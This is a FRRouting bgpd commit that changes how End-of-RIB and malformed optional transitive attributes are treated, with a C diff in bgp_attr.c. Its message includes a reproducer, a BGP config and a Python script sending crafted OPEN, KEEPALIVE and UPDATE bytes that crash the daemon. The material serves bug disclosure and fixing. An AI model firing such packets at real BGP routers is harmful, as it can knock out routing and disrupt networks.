bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 6700470612211a0422f56d0ec180133da5a8d09a..fdaa529348af0b6ff0e662244400613fcec0640a 100644 (file)
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3406,10 +3406,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
        uint8_t type = 0;
 
        /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
-        * empty UPDATE.  */
+        * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+        * we will pass it to be processed as a normal UPDATE without mandatory
+        * attributes, that could lead to harmful behavior.
+        */
        if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
            !length)
-               return BGP_ATTR_PARSE_PROCEED;
+               return BGP_ATTR_PARSE_WITHDRAW;
 
        /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
           to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
@@ -3839,7 +3842,13 @@ done:
        aspath_unintern(&as4_path);
 
        transit = bgp_attr_get_transit(attr);
-       if (ret != BGP_ATTR_PARSE_ERROR) {
+       /* If we received an UPDATE with mandatory attributes, then
+        * the unrecognized transitive optional attribute of that
+        * path MUST be passed. Otherwise, it's an error, and from
+        * security perspective it might be very harmful if we continue
+        * here with the unrecognized attributes.
+        */
+       if (ret == BGP_ATTR_PARSE_PROCEED) {
                /* Finally intern unknown attribute. */
                if (transit)
                        bgp_attr_set_transit(attr, transit_intern(transit));